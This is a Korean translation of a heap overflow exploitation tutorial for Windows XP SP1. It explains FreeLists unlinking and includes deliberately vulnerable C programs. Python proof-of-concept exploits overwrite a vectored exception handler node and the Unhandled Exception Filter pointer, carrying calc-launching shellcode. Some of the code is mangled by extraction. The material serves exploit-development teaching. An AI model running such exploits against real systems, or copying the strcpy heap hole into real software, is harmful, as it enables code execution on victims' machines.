Heap Overflow - 101 By WraithOfGhost
이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD (dobule world, 32bit) 값을덮어쓸수있다. 만약중 / 고급수준의스택오버플로우에대하여익숙하지않다면먼저해당분야를공부하고이문서를읽기바란다. 또한문서에서다루는기법은최신환경에서패치되었기때문에이미쓸모없고한동안사용되지않은기법이다. 문서자체가이해를돕기위한것이기때문에윈도우즈힙매니저에대한익스플로잇기법을알고싶다면다른문서를보기바란다. 문서를읽기위해필요한것은다음과같다. - Windows XP SP1 - 디버거 ( 올리디버거, 이뮤니티디버거, 윈디버거등 ) - C/C++ 컴파일러 (Dev C++, lcc-32, MS visual C++6.0 등 ) - 스크립트언어 ( 파이썬, 펄등 ) - 뇌 ( 고집, 끈기 ) - 어셈블리, C에대한약간의지식, 디버깅능력 - 시간 먼저핵심이면서가장기초적이고근본적인것부터살펴볼것이다. 지금설명한기법들은 실제사용하기에는좀오래된것들이지만, 발전된기법을알기위해선기초적인것또한 알아야한다.
힙의개념과 XP 환경에서의동작방식 What is the heap and how does it work under XP 힙 (heap) 은프로세스에서데이터를담는일종의저장공간이다. 각각의프로세스는어플리케이션의요청에따라동적으로힙메모리를할당하고해제하는데, 전역에서접근할수있다. 메모리에관해서알아두어야하는사항은스택은 0x00000000 을향해자라고, 힙은 0xFFFFFFFF 을향해자라는점이다. 다시말하면프로세스가 HeapAllocate() 함수를 2번호출하면, 두번째호출은첫번째보다높은주소를리턴한다는뜻이다. 따라서첫힙블록 ( 할당된힙영역 ) 에서오버플로우가발생되면두번째블록에서도오버플로우가일어나게된다. 모든프로세스는그것이기본힙이던, 동적으로할당된힙이던여러형태의데이터구조를포함한다. 그중하나가바로해제된블록들에대한추적을하는 128 개의 LIST_ENTRY 구조체배열이다. 다른말로 FreeLists( 해제된리스트 ) 라고도한다. 각리스트의항목들은배열의시작과힙구조체내부의오프셋 0x178 에서찾을수있는 2개의포인터를가진다. 힙에의해 2개의포인터가생성되면해당포인터들은메모리에서해제된블록중첫번째를 ( 재할당가능 ) 가리키고해당블록은 FreeLists[0] 으로세팅된다. * 힙이할당되기전에할당될첫번째해제블록을가리키고있는두포인터는 FreeLists[0] 배열에있음 * 반대로위두포인터가가리키고있는주소에는 FreeLists[0] 을가리키는두포인터가있음 좀더자세히생각하면다음과같다. 시작주소 (Base Address) 가 0x00650000 인힙영역을 가지고있다고가정한다. 그리고첫번째가용블록은 0x00650688 주소에있다면다음과 같은 4 개의주소를추정할수있다. 주소 : 0x00650178 (FreeLists[0].Flink) 값 : 0x00650688 ( 해제된첫번째블록 ) 주소 : 0x0065017c (Freelists[0].Blink) 값 : 0x00650688 ( 해제된첫번째블록 )
주소 : 0x00650688 ( 해제된첫번째블록 ) 값 : 0x00650178 (FreeLists[0]) 주소 : 0x0065068C ( 해제된첫번째블록 ) 값 : 0x00650178 (FreeLists[0]) 첫번째 Free 블록에대해힙이할당되면 FreeLists[0].Flink 와 FreeLists[0].Blink 포인터들은 2번째해제덩어리 ( 다음할당작업에사용 ) 을가리킨다. 더군다나 FreeLists 를가리키던 2개의포인터들은새로할당된블록의마지막부분을가리키게된다. 매번이런블록들이할당되거나해제될때마다포인터들은계속변경된다. 따라서힙의할당과해제는이중연결리스트를통해추적하고관리할수있다. 힙버퍼가힙에의해제어되는데이터에의해오버플로우되면, 이중연결리스트가새로힙을할당하는과정에서포인터가변경되면서임의의 DWORD 값을덮어쓸수있게된다. 이때공격자는함수포인터와같은프로그램의제어값을조작할수있고프로세스의실행흐름에대한제어권을얻게된다.
벡터화예외처리를이용한힙오버플로우익스플로잇 Exploiting Heap Overflows using Vectored Exception Handling 익스플로잇에사용할 heap-veh.c 코드는다음과같다. #include <windows.h> #include <stdio.h> DWORD MyExceptionHandler(void); int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if (argc!= 2) return printf("args!"); } foo(argv[1]); return 0; DWORD MyExceptionHandler(void) { printf("in exception handler..."); ExitProcess(1); return 0; } int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; try { hp = HeapCreate(0, 0x1000, 0x10000); if (!hp) { return printf("failed to create heap.\n"); } h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); printf("heap : %.8X %.8X\n", h1, &h1); // Heap Overflow occurs here strcpy(h1, buf); } // This second call to HeapAlloc() is when we gatin control h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); printf("hello");
except(myexceptionhandler()) printf("oops..."); } return 0; 위코드에서 try 블록구문에의해예외처리가이루어지는것을알수있다. 위코드를 Windows XP SP1 환경에서원하는컴파일러로컴파일한다. 커맨드라인에서컴파일된프로그램을실행시키면예외처리핸들러를발생시키기위해 260 이상 ( 사진 :266) 의바이트가필요한것을알수있다. 당연한얘기지만위프로그램 + 인자를디버거에서실행하면우리는두번째힙할당부분의제어권을얻을수있게된다. * FreeLists[0] 이첫번째할당작업에서우리의공격문자열로업데이트되기때문 MOV DWORD PTR DS:[ECX],EAX MOV DWORD PTR DS:[EAX+4],ECX 위명령어는 EAX 의현재값을 ECX 의포인터로, ECX 의현재값을 EAX+4 의포인터 로만들라는뜻이다. 즉처음할당된메모리블록을해제하거나끊을 (unlinking) 수있다는뜻이다. 즉다음과같이해석할수있다. - EAX ( 우리가쓸내용 ) : Blink - ECX ( 내용을쓸위치 ) : Flink
벡터화예외처리개념 So what is vectored exception handling? 벡터화예외처리는 Windows XP에서도입된것으로힙영역에에외처리등록구조체를저장하는방식이다. 스택에구조체를저장하는 SEH와같은전통적인프레임예외처리방식과반대되는개념이다. 이런종류의예외처리는다른프레임기반예외처리보다먼저호출된다. 벡터화예외처리의구조는다음과같다. ( 즉, VEH가 SEH보다우선순위가높다 ) struct _VECTORED_EXCEPTION_NODE { DWORD m_pnextnode; DWORD m_ppreviousnode; PVOID m_pfnvectoredhandler; } 위구조체에서신경써야하는것은구조체멤버중 m_pnextnode 멤버가다음 _VECTORED_EXCEPTION_NODE 구조체를가리킨다는것이다. 따라서우린 _VECTORED_EXCEPTION_NODE(m_pNextNode) 를가리키는포인터를우리가임의로변조해서만든가짜포인터로덮어쓰기만하면된다. 다만이포인터를어떤값으로덮어씌어야할까?? 우선 _VECTORED_EXCEPTION_NODE 를배치시키는코드를보면다음과같다. 77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210] 77F7F4A4 EB 0E JMP SHORT ntdll.77f7f4b4 77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 77F7F4A9 50 PUSH EAX 77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8] _VECTORED_EXCEPTION_NODE 포인터를 ESI로옮기고조금뒤에 [ESI+8] 을호출한다. 만약 _VECTORED_EXCEPTION_NODE 의다음포인터를쉘코드-0x08 를가리키는포인터로덮어쓴다면깔끔하게실행흐름을쉘코드쪽으로변조할수있다. 쉘코드의주소는스택에서찾으면된다.
위사진에서보듯이쉘코드 ( 수많은 A) 에대한포인터를스택에서찾을수있다. 0x0012FF40 값을직접사용할것이다. 이전에보았던 CALL ESI+8 명령어를기억할지모르겠지만, 해당명령어의대상을올바르게지정한다면 0x0012FF38 (0x0012FF40 0x08) 이된다. 따라서 EAX는 0x0012FF38 로세팅해야한다. 그다음 m_pnextnode( 다음 _VECTORED_EXCEPTION_NODE 를가리키는포인터 ) 를찾아야하는데이뮤니티, 올리디버거를이용하여예외를발생시키고 Shift+F7 을통하여찾을수있다. 첫번째 _VECTORED_EXCEPTION_NODE 를호출하기위해코드는준비과정을거칠것이고, 그과정에서포인터주소를찾을수있다. 77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210 77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI 77F60C37 0F85 48E80100 JNZ ntdll.77f7f485 위코드에서 m_pnextnode( 우리가필요한포인터 ) 는 EDI에복사되고있다. 우린동일한값을 ECX에세팅해줘야한다. 세팅되는최종레지스터 / 값들은다음과같다. - ECX = 0x77FC3210 - EAX = 0x0012FF38 물론 EAX/ECX 에대한오프셋이필요하기때문에패턴을만들어어플리케이션입력값으로사용하여알아내야한다.
msf 패턴생성 안티디버깅활성화후예외를발생시켜오프셋계산
오프셋을알아냈으니다음과같은 PoC 익스플로잇을작성한다. import os # _vectored_exception_node exploit = ("\xcc" * 272) # ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we don't need the null byte os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit) 이번단계에선 ECX 명령어다음에널바이트가존재하기때문에쉘코드를위치 시킬수없다. 항상그런건아니지만이번경우에는 strcpy 를이용해버퍼를 힙에저장할것이기때문에널바이트는문제가될수있다. 이번엔소프트웨어가 \xcc 를만나면중단되게만들면서약간의쉘코드를 추가할것이다. 대상버퍼의크기제한으로인해쉘코드길이는 272 바이트 이하여야만한다. import os import win32api calc = ( "\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" + "\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" + "\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" + "\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" + "\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" + "\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" + "\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" + "\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" + "\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" + "\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" + "\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" + "\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" + "\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" + "\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" + "\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" + "\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93") # _vectored_exception_node exploit = ("\x90" * 5) exploit += (calc) exploit += ("\xcc" * (272-len(exploit)))
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210-0x04 # due to second MOV writes to EAX+4 == 0x77fc320c exploit += ("\x0c\x32\xfc\x77") # ECX # EAX ptr to shellcode located at 0012ff40-0x8 == 0012ff38 exploit += ("\x38\xff\x12") # EAX - we dont need the null byte win32api.winexec(('heap-veh.exe %s') % exploit, 1)
처리되지않은예외필터를이용한힙오버플로우 Exploiting Heap Overflows using the Unhandled Exception Filter 처리되지않은예외필터 (Unhandled Exception Filter) 는어플리케이션이종료되기 직전에호출되는마지막예외이다. 해당예외는 An unhandled error occurred 와 같은일반적인메시지를어플리케이션이갑자기종료될때띄어주는역할을한다. 지금까지 EAX/ECX 를제어하고각레지스터들에대한오프셋을알아내었다. import os exploit = ("\xcc" * 272) exploit += ("\x41" * 4) # ECX exploit += ("\x42" * 4) # EAX exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 기존의예제들과달리, heap-uef.c 파일은커스텀예외처리핸들러에대한추적 코드가존재하지않는다. 이는우리가마이크로소프트의 Unhandled Exception Filter 를 이용하여어플리케이션을공격한다는뜻이다. heap-uef.c 코드는다음과같다. #include <stdio.h> #include <windows.h> int foo(char *buf); int main(int argc, char *argv[]) { HMODULE l; l = LoadLibrary("msvcrt.dll"); l = LoadLibrary("netapi32.dll"); printf("\n\nheapoverflow program.\n"); if(argc!= 2) return printf("args!"); } foo(argv[1]); return 0; int foo(char *buf) { HLOCAL h1 = 0, h2 = 0; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); if(!hp) return printf("failed to create heap.\n");
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("heap: %.8X %.8X\n",h1,&h1); // Heap Overflow occurs here: strcpy(h1,buf); } // We gain control of this second call to HeapAlloc h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260); printf("hello"); return 0; 이런종류의오버플로우를디버깅할땐안티디버깅을활성화시켜우리의예외가호출되고오프셋이올바른주소에위치시키는것이매우중요하다. 처음에는우선어느주소에 DWORD 값을덮어쓸것인지찾아야한다. 이값이바로 Unhandled Exception Filter 에대한포인터가된다. 해당포인터를알아내려면디버거를이용하여 SetUnhandledExceptionFilter() 함수를분석하면된다. MOV 명령어를이용하여 UnhandledExceptionFilter(0x77ED73B4) 주소에값을쓰는 것을볼수있다. SetUnhandledExceptionFilter() 함수에대한호출이생성되면 ECX 레지스터값을 UnhandledExceptionFilter 에의해생성된포인터에복사한다. 다만 unlink() 과정이 ECX->EAX 명령어를수행하기때문에처음에는이과정이다소헷갈릴수있지만
지금처럼상황이명백한경우우리가하려는것은 SetUnhandledExceptionFilter() 함수가 UnhandledExceptionFilter 함수를호출하게만드는것이다. 따라서우린 ECX가쉘코드로흐름을변경할포인터를가지고있다고호가인할수있다. 다음코드를통해이런과정을보다명확하게이해할수있다. 77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] 77E93119 3BC6 CMP EAX,ESI 77E9311B 74 15 JE SHORT kernel32.77e93132 77E9311D 57 PUSH EDI 77E9311E FFD0 CALL EAX 기본적으로, UnhandledExceptionFilter() 값은 EAX에복사되고 CALL EAX가호출된다. 즉, UnhandledExceptionFilter() -> [ 공격자의포인터 ] 와같은형태가된다. 그리고공격자의포인터는 UnhandledExceptionFilter() 에의해참조가해제되어 EAX에복사되고실행된다. 이포인터는실행흐름을공격자의쉘코드쪽으로변경하거나, 쉘코드쪽으로이동시키는명령어쪽으로변경한다. EDI 를살펴보면, 페이로드의마지막부분으로부터 0x74 바이트만큼떨어진것을 볼수있다. 이포인터를호출하기만하면, 쉘코드를실행할수있게된다. 그러므로 EAX 는 다음과같은명령어를가리켜야한다. call dword ptr ds:[edi+74] 위형태의명령어는 XP SP1 환경에서다양한 MS 모듈내부에서찾을수있다.
위사진에서찾은값들을이전에작성한 PoC 코드의적절한위치에삽입한다. import os exploit = ("\xcc" * 272) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\xcc" * 272) os.system('"c:\\documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit) 물론간단하게쉘코드의일부분 ( 쉘코드앞에 nop/junk 가있을경우 ) 에대한오프셋을 계산하고 JMP 명령어과쉘코드를넣을수있다. import os calc = ( "\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9" "\x44\x80\xc2\x77" # address to WinExec() "\xff\xd1\x90\x90") exploit = ("\x44" * 264) exploit += "\xeb\x14" # our JMP (over the junk and into nops) exploit += ("\x44" * 6) exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[edi+74] exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter() exploit += ("\x90" * 21) exploit += calc os.system('heap-uef.exe ' + exploit)
결론 Conclusion Windows XP SP1+ 이전환경에서사용되는가장기초적인 unlink() 익스플로잇방법에대해 2가자기법을보여주었다. RtlEnterCriticalSection 이나 TEC 예외처리핸들러익스플로잇등과같은다른기법을을사용할수도있다. 다음에는 Unlink() 익스플로잇 (HeapAlloc/HeapFree) 을 Windows XP SP2/SP3 환경에서시도할것이고힙에대한윈도우의방어기법을우회할것이다. PoC 코드 http://www.exploit-db.com/exploits/12240/ http://www.exploit-db.com/exploits/15957/ 참고문헌 - [ 원문 ] https://www.fuzzysecurity.com/tutorials/mr_me/2.html - The shellcoder s handbook - (Chris Anley, John Heasman, FX, Gerardo Richarte) - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt